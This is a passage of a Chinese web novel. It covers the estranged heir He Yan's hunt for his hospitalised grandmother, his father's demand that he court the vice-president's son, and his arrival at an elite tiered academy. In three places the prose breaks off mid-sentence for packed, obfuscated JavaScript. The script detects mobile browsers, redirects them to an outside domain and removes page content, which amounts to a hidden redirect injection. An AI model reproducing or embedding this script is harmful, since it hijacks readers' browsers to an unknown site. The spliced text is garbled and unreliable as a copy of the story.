卧室和走廊内奢华的装饰一样,镌刻着花纹的欧式大床,镂空的玻璃彩绘大窗。仅仅一个衣帽间,都比罗河县的那个卧室要大。 贺衍毫无感情地感叹了一下有钱人的奢侈,没有再继续打量房间,反而转身离开。 贺叁已然出现在门外,不知道什么时候来的。他看到贺衍走出房间,微微低头,态度恭敬而不失谦卑,“贺衍少爷,现在是午餐时间,今日的主食是牛——” “我能出去吗?” 贺叁愣了一下,似乎没想到贺衍会问这个问题,“当然可以,贺衍少爷,您要去哪里,我现在就给您备车。” 贺衍敛眸,看来贺忠载没有限制自己的行动,这倒是让人是意外。是贺忠载太小看自己,还是太有恃无恐。 “我要去联邦综合医院。” 联邦综合医院是联邦最好的医院,位于首都淮新。只要是联邦人,大多数都知道这家医院的名号。而且,这也是用网络搜索首都医院排名里的第一。 再加上去年联邦有史以来最受国民欢迎的也是最年轻的副总统裴行赫枪伤中弹后,第一时间就被送往了这家医院。当时的新闻里可是特意拍到了这家医院的标牌,更是让这家医院声名大噪,联邦几乎无人不晓。 不少网红借着受伤的名义蹭热度在医院里拍摄,也让贺衍知道这家医院的逃生通道后有一个小门,可以快速离开医院。 贺叁眼睛闪烁一瞬,面容透露出几分疑惑,关切地问道:“您受伤了吗,还是有哪里不舒服。不如先找家庭医生给您看一下?” “不用,麻烦你立刻备车,我现在就去。”贺衍刻意停顿,稍作思考了一下,问道:“贺叁管家,我对淮新比较陌生,麻烦您陪我一起去吧。” 他决定跟着贺家的人来首都的时候就已经考虑到贺忠载各种可能的反应。现在这种情况也在他的意料之中。 贺衍眼神闪烁,想到刚才贺琚无意之间透露出来的信息,贺忠载现在在工作,晚上才会回来,如果他想要知道家里发生的事情,肯定会有人通报。 这个人选,显而易见了。 贺叁:“贺衍少爷,您不用对我说敬语,能为您服务是我的荣幸。” 贺衍拍了拍贺叁的肩膀,随后将什么东西放到口袋里,“不,多谢你了。” 昨天保镖守在外面,他便从二楼的窗户那里跳了出去,到火锅店要走了一个月的工资,加上之前自己存的钱,特意办了一张不需要登记个人信息的价值三千元的银行卡。 三千元可以在罗河县生活三个月,但只能在联邦首都淮新生活不到三天,但对于现在的贺衍来说,已经足够了。 贺忠载不告诉他人在哪里,那他就一个一个去查。贺忠载为了保证自己能听他的话,肯定会把人放到自己能掌控的医院里。 在来的路上贺衍已经通过各种渠道查到了相关信息,贺氏集团明面上并没有任何控股的医院,但是通过其他手段获得实际上控制权的医院却有两家,一家是淮新多克医院,另一家是首都浩斯医院。 首都浩斯医院距离贺家主宅很近,只有不到三公里的路程。而淮新多克医院,则离贺家很远,但这家医院和联邦综合医院的距离,只有五公里不到。 贺衍决定先去淮新多克医院看一看。 贺叁的行动效率很高,不到半个小时,贺衍已经到了医院门口。联邦综合医院的门卫看到车牌号,没有过多询问,便立刻放行。 贺家的司机把车停放到一旁,贺叁跟着贺衍下了车,两个人一前一后走进联邦综合医院。 贺叁跟在贺衍身后,完美保持着一个优秀管家的人设。他看着贺衍脚步匆忙,神色焦灼地冲向服务台,然后往电梯的方向冲过去。 贺叁轻笑着摇头,这位新少爷恐怕找不到他想找的人了。贺叁将贺衍的行动再次报备之后,不紧不慢地走到医院大厅的休息区坐下,等着贺衍无功而返。 一分钟前,医院大厅一楼,值班的工作人员不过是揉了下眼睛,眼前便出现了一个黑影,吓得把哈欠都收回去了。 贺衍神色满是焦急,工作人员还以为有什么大事,连忙端正态度,“您好,请问有什么可以为您服务?” 贺衍眨了眨眼,“厕所在哪里?” 工作人员啊了一声,下意识地指了一个方向。刚说完,眼前的人就跑了,工作人员愣住了,那个方向好像和自己说得方向完全相反吧。 贺衍的速度很快,已经提前约好的网约车就在门外等着。贺衍迅速打开车门,报了一下自己的手机尾号,“师傅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457204|169569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,快开!” 汽车迟迟没有发动,贺衍心里计算着时间,再次催促了一遍,“师傅,我有急事,我要去淮新多克医院。” “嗯,知道了。”说话的声音低沉悦耳,还有些许的沙哑。 汽车起步极快,即使一路绿灯不堵车也至少需要十分钟的路程,司机只用了五分钟不到就开到了。 看着贺衍飞奔而下的身影,被当成网约车司机的青年男人揉了揉头,算了算了,权当我日行一善了。 淮新多克医院,一楼大厅。 贺衍别上从贺叁那里顺走的贺家家徽,将头发捋到后面,露出整张脸庞,锐气逼人。他漫步走到一楼大厅的服务台,敲了敲桌面。 “干什么?”服务台里坐着一位中年女士,她不耐烦地抬头,眼尖地瞥到贺衍胸口的标志,心脏狂跳,立刻变脸,笑容无比灿烂,“请问有什么能为您服务的?” “昨天晚上转进来的那个病人,现在在哪里?” 她立刻翻看病历表,边翻边解释,“昨天晚上不是我值班,您稍等一下,我看看——啊,是杨梅霞女士对吧,她在十六楼七号病房。需要我找人为您带路吗?” 贺衍瞳孔猛缩了一下,浑身颤栗。 嗯,怎么没人回答她。服务人员抬起头,眼前没一个人。她无所谓地耸了耸肩,继续看起刚才暂停的电视剧。 淮新多克医院此刻的人流量不多,十五楼之上都是VIP房间。 电梯上行,贺衍穿着从休息室顺来的医生白大褂,脸上戴着医用口罩,打开了七号病房的大门。 病床上,杨霞梅正静静地躺在那里。贺衍轻轻地握了一下她的手,安静地站在床边,看了一分钟。 三分钟后,贺衍离开淮新多克医院。这次的网约车比刚才的慢很多,十七分钟后,贺衍从后门再次进入联邦综合医院。 贺叁看了一眼怀表,时间已经过了三十分钟。他正准备站起来的时候,看到贺衍神色恹恹地走回大厅,额头上已然挂满汗珠,看起来像是把每个病房都找过一遍的样子。 贺叁唇角微微上扬,不出所料,看来是没有找到。 “贺衍少爷,您现在要回家吗?” 贺衍深吸了一口气,语气坚定,“不,我要去首都第一医院。” 贺叁当然不会拒绝。 这样的流程重复了七八遍,天色已近黄昏。 贺叁终于忍不住说道:“贺衍少爷,老爷和夫人已经回家了。接下来,我们还要去哪家医院吗?” 贺叁心里抓狂,我的祖宗啊,现在马上都要六点了,你不饿我还饿啊,从中午到现在我什么饭都没吃,咱们行行好,别找了行不行。要不是老爷实在有命令,我现在就想告诉你了。 贺衍听到这句话,好像是终于放弃了,他颓废地靠在车椅上,声音微弱的几乎听不到,“嗯,回去吧。” 贺叁大喜,连忙吩咐司机开车回贺宅。 贺家,贺琚正在听何眷蓉说着什么。 他一旁笑着点头,不是嗯嗯回复。可是细看,眼里一片空洞,不知道在想些什么。 客厅的大门被推开。 贺琚的眼睛骤然亮起来,啊,他亲爱的哥哥终于回来了。 5. 第 5 章 当天晚上,贺家的四人终于聚齐。 贺忠载坐在主座,何眷蓉坐在他的旁边,贺琚和贺衍分别坐在两侧。 “孩子,终于找到你了,现在我们一家人终于团聚了。”何眷蓉叹息着说道,眼底还应景地湿润了些许。 只是她不知道她的亲亲儿子已经把她今日的行动完完全全地暴露,再加上水疗SPA按摩,何眷蓉怎么看都是一副光鲜亮丽的模样。 贺琚在一旁也装模作样地欣喜感叹,哦,不,看好戏。 贺衍面无表情地扫了贺琚一眼,一言不发。 何眷蓉的这一番“深情”流露没有得到任何人的回应,她看了看贺忠载又看了看贺琚,随后也沉默下来。 气氛骤然变得尴尬,贺忠载敲了敲桌面,“贺琚,圣洛莱索开学的时候,你领着贺衍熟悉一下校园。” 贺琚不假思索地回答,“当然,父亲。这是我应该做的。” 贺忠载满意地点了点头,站起来对着贺衍说道:“其他人先走吧,我要和贺衍单独聊一聊。” 书房。 贺忠载坐在书桌前,手指轻扣桌面上的一份文件,“这是贺振刚父签署的合同,他自愿放弃杨霞梅的监护权,现在她的监护权在我手上。” 这么快就开始威胁自己了。贺衍冷笑,两人沉默地对峙。 贺忠载看到贺衍的表情,倒是轻笑出声,“说起来,我没想到你是一个这么重感情的人。毕竟我和你的母亲,我们两个人好像都没有继承到这种基因。” 他的话看起来是褒扬。 “不过这就更好办了。你今天找了一下午,很累吧。”贺忠载双手交叉放在膝上,神态自若,“我没有骗你,你最爱的亲人的确在首都,她正享受着她以往根本不可能享受到的待遇。现在她住的病房,一天就要至少五位数。” 贺忠载双手交叉,“贺衍,你很聪明,所以你应该也清楚,她的病不是简简单单就能治好的。但在这里,我会用最好的医疗资源治疗她。等你成年,她的监护权也会转交给你。” 贺衍扯了下嘴角,“你到底想说什么。” “你是我的儿子,千真万确。不过,我不缺儿子。”贺忠载把那份合同合起来收好,当着贺衍的面放进抽屉里。 贺衍双拳紧握,怒极反笑,“那你没事来破坏我的生活,到底想干什么。” 破坏?他这个用词可真够可笑。贺忠载收敛神色,“我会把你安排到圣洛莱索学院,和裴屷一个班级。” 裴屷? “裴屷是联邦副总统裴行赫的独子。”贺忠载递给贺衍一份文件,“里面是裴屷的资料,你的任务就是明年毕业之前,让裴屷同意和你订婚。” 神金啊! 贺衍唇角抽搐,顿感三观有些炸裂。 真是荒诞离奇的剧情。千亿家产的贺氏集团老总飞大老远把丢了十几年的亲生儿子从经济最落后的略阿洲弄到首都,目的就是去勾引一个男人,不,一个和他同龄的男生。 小说都写不出这么离谱的,他有点怀疑贺忠载的脑子被门缝夹住了,小脑萎缩了。 联邦是允许同性结婚没错,但贺衍自认为他的性取向还是传统的异性。贺衍从牙缝里挤出一句话:“要是我没听错你的意思。你是让我去——” 贺忠载点了点头,丝毫不掩饰地说道:“没错,我把你接回来的目的就让你去勾引裴屷。不管用什么手段,让裴屷同意和你结婚。从罗河县到首都,这一路上,你应该看到也感受到贺家在联邦有多大的特权,裴家与之相比更甚。只要你嫁给裴屷,你就能成为联邦最顶层那帮人,再也不用过你原来的苦日子。” 这种好日子谁想过谁去过,说得再怎么好听,不就是让他去勾引男人吗。这贺忠载是老鸨吗,贺衍心里是一堆乱码脏话,还是强买强卖的恶毒老鸨,贺衍额头的青筋突突地往上冒。 “你怎么不让贺琚去干这种事。”贺衍咬着牙说出声,让贺琚去勾——呸,贺衍现在想到这个词都犯恶心。 “贺琚不适合。”贺忠载轻描淡写地说出了这句话,没有做更多的解释。 贺衍冷静下来,“贺琚为什么不合适,我觉得至少从外貌来看,他比我合适多了。还有,你是怎么找到我的,又是怎么确定我是你亲生儿子?” 贺忠载手指轻扣桌面,有些不耐:“我不喜欢刨根问底的人。不过,鉴于你是我的儿子——你应该有很多献血证。” 献血,贺衍眉头蹙起,原来问题出在这里。 贺衍初中毕业那年,杨霞梅所在的化工厂不知因为什么原因爆炸,死伤无数。杨霞梅幸运地只受了轻伤,化工厂赔了两万块钱了事。 但表面的伤好得很快,她的身体却迅速垮了下去,面色苍白、乏力、身体疲乏,经常性发热,牙龈出血甚至吐血,到医院检查后,才知道患上了白血病。 白血病需要大量输血,联邦规定居民年满十六岁之后可以献血,持有无偿献血证的人及其直系亲属,在医疗用血时可以免费使用等量或几倍的血液。贺衍在过完十六的生日之后,每隔三个月都会去献一次血。[1] 而这些都会录入联邦基因库。 “裴家极其重视血统,你是生长在贫民窟不错,但你是贺家真正意义上的血脉。如果未来裴贺两家联姻,自然是非你不可。”贺忠载站了起来,“我想你既然这么聪明,应该知道我的意思,也知道怎么做才合适。” 真是高人一等啊,那他这个贫民窟长大的人是不是该感恩涕零。 这么说来,贺忠载明显很早就知道贺琚不是他的亲儿子,也知道他这个所谓的血脉到底流落在哪里。为什么之前不找他,直到现在才把他接回来,目的就是为了和裴家联姻?还是说有不得不现在要跟裴家联姻的理由。 还有,果然那个贺琚是把自己当猴耍啊,最开始嘴里没一句真话。 各种问题在脑海中盘旋,最后他只是问道:“要是最后裴屷到都不愿意怎么办。即便裴屷愿意,裴行赫不同意那又怎么办?” “只要你能搞定裴屷,其他的自然是我的事情。如果你没有成功,那就是你的问题了。没有能力,自然就没有资格坐在交易桌上。”贺忠载笑了下,“再说了,贺衍,生老病死也是很正常的,不对吗?” 贺衍微微垂眸,碎发掩盖住额头上的青筋,眼底血丝蔓延,“您说得对。” 什么狗屁的血统论,他要是真的简单相信贺忠载的话,那不就是纯纯傻逼吗。但是贺忠载有句话说得很对,奶奶的病情治疗刻不容缓,首都的医疗条件不是罗河县能比的。 贺忠载给了他一年的时间,这一年只要他把握住,未尝不可以摆脱贺忠载的控制。至于勾引裴屷,贺衍无语地想发笑,既然他的目的是带着奶奶逃脱贺忠载的控制,谁愿意去做这种狗屎任务。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457205|169569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >圣洛莱索学院开学日。 贺衍穿着量身定做的学院制服,坐在车内等待贺琚。贺忠载让贺琚和他一起走,于是管家今日只安排了一辆车。 贺衍看了眼时间,他在这里坐了要有挺长时间了,始终不见贺琚的影子。 贺衍:“贺琚还来吗?还是说他先走了。” 司机沉默了半晌,“贺衍少爷,少爷他平常从没有迟过。但是今天——抱歉,我也不清楚。” 贺衍打了个哈欠,“你有他的联系方式吗,给他打个电话。” 司机又迟疑了,“这个,按照规定,没有特别紧急的事情,是不能私自联系少爷的。” 哦,看来自己要迟到了。 贺家的这些佣人司机心偏得离谱,真是从称呼上就可见一斑。贺衍揉了揉眼睛,头靠在车窗上缓缓闭上眼。 昨晚没睡好,一大早还被管家早早喊醒,美其名曰怕他迟到,但是醒来到现在有将近两个小时了,他人还是在这里。 又过了十分钟,贺衍敲了敲司机的靠椅,“我脾气没那么好。再问你一遍,你家少爷到底还去不去,走没走。” 贺衍脾气的确称不上好,没睡醒的时候更甚。 司机冷不丁地被贺衍的冰冷的声音吓一跳,大夏天的打了个寒颤,“这个,我——” 司机语言还没组织好,贺叁出现了,“少爷生病了,要请几天假。先送贺衍少爷去上学吧。” 不知道是真生病了,还是这小子又作妖。听到汽车发动的声音,贺衍扯了扯身上的学院制服,闭上眼睛睡着了。 圣洛莱索学院的前身是一座公爵府邸,现位于萨卡州首都淮新的最西边,由上个世纪最伟大的建筑师建造。 城堡内陈设的各种油画,壁毯及各种装饰摆件,每一件都出自名家之手。钟楼、尖塔、城堡,峻宇雕墙、纷华靡丽,却又与周围的景色、园林和庭院融为一体。后经过各种演变,这座奢华精美的府邸成为了如今的圣洛莱索学院。 圣洛莱索学院作为是全联邦最好的学校,同样也是众所周知的全联邦众最顶级的贵族学院。这里的学生是联邦顶层阶级圈的权贵子弟,不出意料,也将是未来各个行业的巨擘。 “贺衍少爷,已经到地方了。”司机将车停靠在门外,将贺衍的行李箱拿出来,“祝您在圣洛莱索的生活一切顺心。” 贺衍刚下车,司机就发动汽车,一溜烟的功夫,便没了影子。 现在是上午十一点,圣洛莱索的大门已经关闭。不过很显然贺衍不是唯一一个被关在门外的人。 方盛寒拉着两个超大超亮的银色行李箱慢悠悠地往门口走过去,金色的发丝摇曳,在阳光下愈发耀眼。 他漫不经心地斜了一眼贺衍,脚步忽然顿住,语气很冲,翠绿的眸子满是不屑,“喂,小子,你是不是姓贺。” 贺衍无视了耳边的聒噪,冷白的皮肤衬得他的眉眼更加突出,周身疏离的气质将他和周边环境几近隔离。 方盛寒愣了一下,这张脸和照片上差这么多,完全是两个人啊。还有那双眼睛,方盛寒摇了摇头,挥散脑中不知所云的想法。 方盛寒啧了声,用充满鄙夷与蔑视瞪了贺衍一眼。 他把玩着胸前镶嵌着红钻的徽章走到门卫室,用刻意让贺衍听到的声音大声说道:“门卫,这人是假冒的圣洛莱索的学生,他连徽章都没有,别把他给放进来。” 6. 第 6 章 方盛寒朝着贺衍挑了挑眉,极尽挑衅之意。他嘴角一勾,忽然又冒出一个点子,他嘴角噙着坏笑,拿出手机发了条短信。 方盛寒登上学院内部的摆渡车,气焰嚣张地扬长而去。 摆渡车消失在视野之中。 贺衍拇指抵着太阳穴轻揉,没睡好头真疼。不过,刚才那个头发看着跟鸟窝差不多的人,他好像没见过吧? 算了,等进去了就知道那家伙是谁了。 贺衍活动了一下手腕,拉着行李箱走到门卫监控的死角,抬眼打量了一下墙高,他尝试着后退了几步,冲刺借力,不过眨眼工夫,人已经翻到了墙上。 贺衍任由身体重新滑到地面,拍了拍手上的灰。 行李箱扔不过去,可惜了。 贺衍揉了揉头,踢走脚下的一颗石子,摸出用了三年的老手机,给贺忠载打了通电话。 手机嘟了几声,接通了。 “贺衍少爷您好,我是贺壹。您有什么事吗?” 还真有叫贺壹的,果然贺忠载那老东西给的不是自己的联系方式。 “我被拦在圣洛莱索大门外,进不去。”贺衍说完,又忍不住打了个哈欠。好困,想睡觉。 贺壹噎了一下,他也没想过居然是这种情况:“我知道了,会立刻为您解决的。” 贺衍挂了电话,拉着行李箱找了一个阴凉地,靠在树上,意识逐渐模糊起来。 刚才信誓旦旦地说没有允许绝对不会给他开门的门卫走了过来,他抬起手准备拍拍贺衍,结果手还没落下,已经被贺衍抓住了。 门卫大叔乐呵呵地笑了一声,“身手挺好的呀。对了,你到底是不是这里的学生啊。” 贺衍无所谓地开口,“或许是吧。” 门卫大叔看他的态度,也没继续追问,反而换了一个话题,循循善诱地说道:“听你的口音,不像是淮新的人,倒像是更北一点的地界。怎么会来这里啊?” 贺衍意味不明地看着他,“我看你刚才和那人同仇敌忾的,怎么现在跑过来和我说话了。” 门卫大叔摸了摸头,无奈地笑道:“我就是一个破打工的,可不敢违背那些大少爷,这不就是在这里的生存法则吗。不过,要是你想进去,我也可以偷偷把你放进去,不过千万别说是我干的。” 贺衍伸了个懒腰,“不用了,我害怕你和那位权势滔天的大少爷是一伙的,把我放进去之后倒打一耙。” 门卫的脸一下子僵住了,“我怎么会干这种事呢?” 圣洛莱索学院内,方盛寒接到电话,“方少爷,那个学生没上当。” 方盛寒脸色阴沉地挂了手机。 他的身后,站着一群学院保安,手里还拿着电|击|枪。 方盛寒暗骂了一声,算这小子走运。 “行了,你们滚吧,没——” 他话还没说完,脸色突然僵住了,声音也有些僵硬,“裴屷——” 身穿学院制服的男生身高挺拔,胸前佩戴着镶有紫色钻石的徽章,典型的瑞凤眼,龙眉凤目,像是从水墨古典话中走出来一般。 裴屷头发纯黑,但瞳孔却有两种颜色,是罕见的异色双瞳,左眼是绿到几近发黑的墨绿色,右眼是钴蓝色,仿佛望进了一片海洋。 裴屷垂眸,视线扫到方盛寒身后的那些保安身上,“电|击|枪,你这是要干什么?” 方盛寒额角流下一抹冷汗,“没什么,就是偶然遇到了,那什么,裴屷,我先走了。” 圣洛莱索学院内阶层分明,三六九等把人分得清清楚楚。方盛寒在学院里可以说是横着走的存在,几乎没人敢招惹他。 但裴屷却不在那些人之中。方盛寒在裴屷面前完全不敢放肆,权大一级压死人,更何况裴家不止比方家大一级那么简单。 自从上个世纪内乱结束,联邦政权愈发集权中央,官员的权力大到让人不敢相信。 裴屷的爷爷裴正举是联邦将军,虽然现在已经退休,但当年他可是统管联邦四州军权,几乎把控着半数疆土;更别说裴屷的父亲裴行赫是现任联邦副总统,更有传言说要不了多久,这个副帽子就变正了。 要方盛寒说裴屷这家伙就是个异类,他们这圈子的人,除了不沾毒,什么东西不玩。但是裴屷这家伙完全是以圣人的标准要求自己,眼里容不下一点沙子。 他在学院里想找一些“幸运儿”玩一玩,都得避开他。 方盛寒思来想去,觉得一切都要怪贺家那个私生子。那个叫贺衍的家伙,冷冰冰的,连个笑脸都不肯给自己。要是他态度好一点,说不定他也不会想要这么早就整他,他也就不会耽误那么多时间,也不会遇见裴屷这个讨人厌的家伙。 九月中旬,首都的天依旧燥热,贺衍脱了学院的制服外套搭在头顶遮阳,在树下昏昏欲睡。 这次没人打扰,贺衍睡着了,却罕见地做了个梦。 梦里,他被看不见的几双手纠缠着,抚摸着,全身上下,里里外外,贺衍几乎快要濒临窒息。他竭力挣扎,却无法挣脱开。 什么鬼梦!贺衍从噩梦里惊醒,喘着粗气,眼角微红,脸颊还泛着粉意,看着难得有几分脆弱。 圣洛莱索学院大门内,一个胸前佩戴灰色徽章的男生从校内摆渡车上走下来。 “贺衍同学,贺衍同学——诶,终于找到你了。” 男生小跑拦住贺衍,气喘吁吁,“你好你好,我叫马英帆,是负责接待你的人,也是你的同班同学。” 贺衍本以为是贺壹跟学院里的人打了招呼,可事实却并非如此。 马英帆摸了摸头,“安保人员发现门口有可疑人员,查了监控才发现是乌龙。我接到通知说是我负责接待的转学生到了,我就马不停蹄地赶过来了。” 马英帆领着贺衍走进圣洛莱索大门。这次门卫没有任何阻拦,也不敢和贺衍对视。 “对了,贺衍同学,一会儿我先带你去报到,然后再领着你去宿舍。” 贺衍:“麻烦你了,喊我贺衍就行。” 马英帆摆了摆手:“什么麻烦不麻烦的,咱们都是四班的学生,当然要互相帮助了。” 四班?不是说那什么裴屷在一班吗。 贺衍眉峰微挑,他无所谓在哪个班级,但是一想到贺忠载气急败坏的表情,就难免有些幸灾乐祸。贺忠载要是知道自己没能和裴屷一班,会不会气得眼珠子都掉出来。 马英帆看到贺衍的学籍信息是来自略阿州,而且学习成绩很好, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457206|169569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自然而然地把贺衍当成了和自己一样的特优生,言语间颇显亲近之意。 “对了,圣洛莱索和咱们之前上过的学校不一样。但是更多的我一时半会跟你说不清楚。我先带你去报到,等你领取徽章编号之后就能加入圣洛莱索论坛了,到时候你可以自己看看。我先把学院里最重要的事情告诉你—— 圣洛莱索学院根据家世将学生划分为五个等级,最高的是S,最低的是D等。 与此对应的徽章也会有所不同,S级的是紫色,胸前的徽章上镶嵌着价值不菲的紫钻,学院里现在也只有一个S等级的学生。A级是红钻,人数也不多,好像有七八个。不过这两个等级的学生我们这种平民根本就接触不到,所以以也不用太担心会冲撞到他们。 剩下的BCD三个等级的徽章上没有镶嵌任何东西,而是通过黄绿灰三种颜色进行区分。” 马英帆指了指自己胸前朴素的灰色徽章,耸了耸肩,“像我们这种特优生,就是D级,胸前佩戴的就是雕刻着圣洛莱索的校徽的这种灰色徽章。到现在为止,加上你,整个圣洛莱索学院也只有不到五十个特优生。” 马英帆表情严肃,语气郑重:“反正,贺衍,你只需要记住,绝对绝对不能惹比我们等级高的学生。别说什么S级A级了,就那些C级的人想要整我们,也是轻而易举。” 贺衍缓缓眨了下眼,刚才见到的那个鸡窝头,胸前好像就戴着红钻。 “不过也不用想那么多啦,除了那些之外,圣洛莱索真的是一个很美的地方,而且好处真的太多了,我们这些平民只要能够获得A等级的学科成绩,每个学年就有十万的奖学金;最重要的是圣洛莱索的毕业生不需要参加联邦高考,就能直接参加联邦大学的自主考试。” 马英帆走上摆渡车,拿出学生卡刷了一下,示意贺衍上车。 穿过大门处的橡树林,又路过湖泊和几处人造小瀑布。摆渡车从花园中间穿过,路过一大片玫瑰田,终于进入圣洛莱索学院主路,主路两侧的草坪以绿植勾勒,形成一条笔直的线。 每经过一个地方,马英帆都会跟贺衍兴致勃勃地介绍,“你看到刚才那片玫瑰了吗?据说是几十年前的学院的某个学生为了追求爱人,特意种的,实在是太浪漫了,对吧?” 贺衍兴致缺缺地点了点头,以后他要绕着这地方走了,他玫瑰花过敏。 “等级不同的学生住的地方也不一样。”马英帆的话里满是羡慕:“S级和A级的学生住的地方和我们也不一样,都是独栋的别墅。而且还有专门为他们开放的餐厅,都是从联邦各地空运过来的食材……” 贺衍这时候已经没在听他说话了。 从他坐上这辆车开始,脑子就开始嗡嗡作响,头越来越痛,像是有什么东西想要从里面钻出来一样。 从小到大各种过往的片段像是幻灯片一样在眼前闪过,走马观花一般,他这是提前要见阎王爷了吗? 贺衍摇了摇头,用力按压着太阳穴。 周围的一切都变得模糊起来,逐渐消失不见了,只有一本发光的书浮在空中。 仿佛有一双无形的手在快速翻动,书页哗啦哗啦的声音围绕在耳畔,不断刺激着人的神经。 他又在做梦? 7. 第 7 章 贺衍打开了这本书。 太荒诞了,头上冒出一根根黑线。 这个贺琚是同名同姓吧,而且怎么还有自己的名字,贺衍连翻几页,一目十行,越看越觉得古怪。 天真无邪美丽善良的主人公贺琚发现自己不是贺家的亲儿子,非常痛苦。真少爷贺衍被接回来之后,贺琚时常受到恶毒炮灰真少爷贺衍的欺负,甚至连开学都没能按时报到。 还好聪明的贺琚每次都化险为夷,但是一朝不慎,贺琚被贺衍下药,又被人绑架,险些遭难。 贺衍这次的行为彻底惹怒的守护在贺琚身边爱慕他的骑士们,坏人不长命,骑士斩恶龙。 贺衍被送进联邦监狱,没过多久就暴毙狱中。 书中的片段仿佛活了起来,仿佛是一场永远也没有结束的电影。贺衍自己也化身为书中人,陪着他们演了一场又一场荒诞又可笑的话剧。 不知道过了多久,电影终于迎来了终局。 最后的画面,是他被关进了联邦监狱—— 贺衍眉头锁紧,双眼呆滞,仿佛遭受了不下十倍的精神攻击。 “贺衍,贺衍,快醒醒——我们到地方了。” 身体被拍了几下,梦境破碎,碎片化作点点光斑,融入贺衍的身体里,消失不见。 贺衍猛地睁开眼睛,意识昏沉,大脑还在错乱之中。他揉了揉自己的太阳穴,刚才他是不是做梦了,具体什么他记不起来了,只是他怎么会梦到自己被关进监狱了。 贺衍摇了摇头,心下奇怪地嘀咕,莫非真的是压力太大了。还有他的警惕心什么时候变得这么差了,今天已经是第二次随时随地的睡着了。 摆渡车停下了。 一栋哥特式的城堡建筑映入眼帘,十字拱、飞券还有修长的立柱,镶着彩色玻璃的长窗的城堡有着直升的线条,外观雄伟华丽,古朴的质感扑面而来,夹杂着某些无法言说的颤栗。 他应该从来没来过这里,但总感觉很熟悉,好像在这里生活过一段时间一样。莫非是所谓的海马效应? 只是,怎么莫名其妙有种抗拒感。 从走进这座贵族学院开始,他就不怎么舒服,贺衍再次揉按太阳穴,试图压下这种不适。 马英帆在一旁说道:,“我第一次见到这建筑的时候,比你还要目瞪口呆。这座城堡叫作德伦丘斯,我们以后就会在这里面上课。一般大型舞会和晚宴也都会在这里举办。这座城堡距今已经有将近一百五十年的历史了,上任总理也是这里的校友,几年前他还在这里发表过演讲呢。” 马英帆走在前面带路。二十分钟后,终于办完了所有的手续。 贺衍拿着一个印有圣洛莱索校徽的牛皮袋,里面放着他的宿舍钥匙和灰色徽章。 马英帆长长地呼出一口气,“终于搞完了,走吧,我们去宿舍区。你可以趁这个时间注册一下圣洛莱索内部论坛。注册码就在那个徽章的后面。” 贺衍点了点头,“多谢你了,一会儿请你吃饭。” 马英帆笑了下,“嘿嘿,不用客气,等你先安顿下来再请我吃饭吧。而且我家虽然在萨卡州,但我妈妈也是略阿洲人,咱们算半个老乡,互相帮助是应该的。” 马英帆说完之后,像是突然想到什么的,连忙说道:“那个论坛的话,你看看论坛上置顶的学院规则就行了,至于上面的帖子——” 马英帆抓了抓头发,表情也变得奇怪,“上面的帖子好多嘲讽我们这些特优生的,我一般都不会去看,不然早晚会被气死。反正还剩一年就毕业了,总之,小心做人,别惹事,马上就过去了。” 阴阳怪气的嘲笑从两人的身后传过来,“是啊,你们这些小老鼠,一定要小心做人,千万别惹事。” 贺衍眉头蹙起,还没转头就被马英帆拉住了,他摇了摇头。 等那个脚步声终于消失,马英帆才干笑了两声,“习惯了就好,他们只要不动手,其实被说两句也没什么。” 贺衍垂眸看着他,“所有的特优生都是这种待遇?” “也不是——其实那些特权阶级的学生,大部分都没把我们放在眼里,也不会故意刁难我们。而且里面也是有好人的,要是贺琚少爷在的话,那些人都会收敛很多。你见过贺琚少爷就知道了,他真的是一个很好的人,而且是我见过长得最好看的人了。” 贺衍眉头蹙起来。贺琚,是他认识的那个贺琚? 马英帆扯了扯嘴角,干巴巴地说:“只有小部分人才会像刚才那个人那样。反正忽略这些,圣洛莱索真的好处挺多的。比如说奖学金、大学免试、优先录取权——” 马英帆说不下去了,他哈哈笑了两声,“要是你真的欺负了,忍着就行了。只要不被退学,毕业了,我们就是圣洛莱索学院的毕业生。不论是大学招生还是之后的就业,我们总是比别人高一等的。” 贺衍抿着唇,眸中带着些许的冷意。他不赞同马英帆的观点,但每个人有每个人的活法。 沉默一直蔓延到宿舍。 除了S级和A级,剩下的学生都住在同一栋高层公寓式宿舍楼内。不同楼层的房间规格不同,但都有独卫,特优生住的房间面积相对较小。 马英帆此时已经调整好了心情,“这栋公寓楼叫做圣萨尔公寓,BCD这三个等级的学生都住在这里。一楼二楼都是公共活动区,台球、保龄球、游戏室、拳击还有室内篮球场和健身房,基本上你想得到的东西这里都有。” 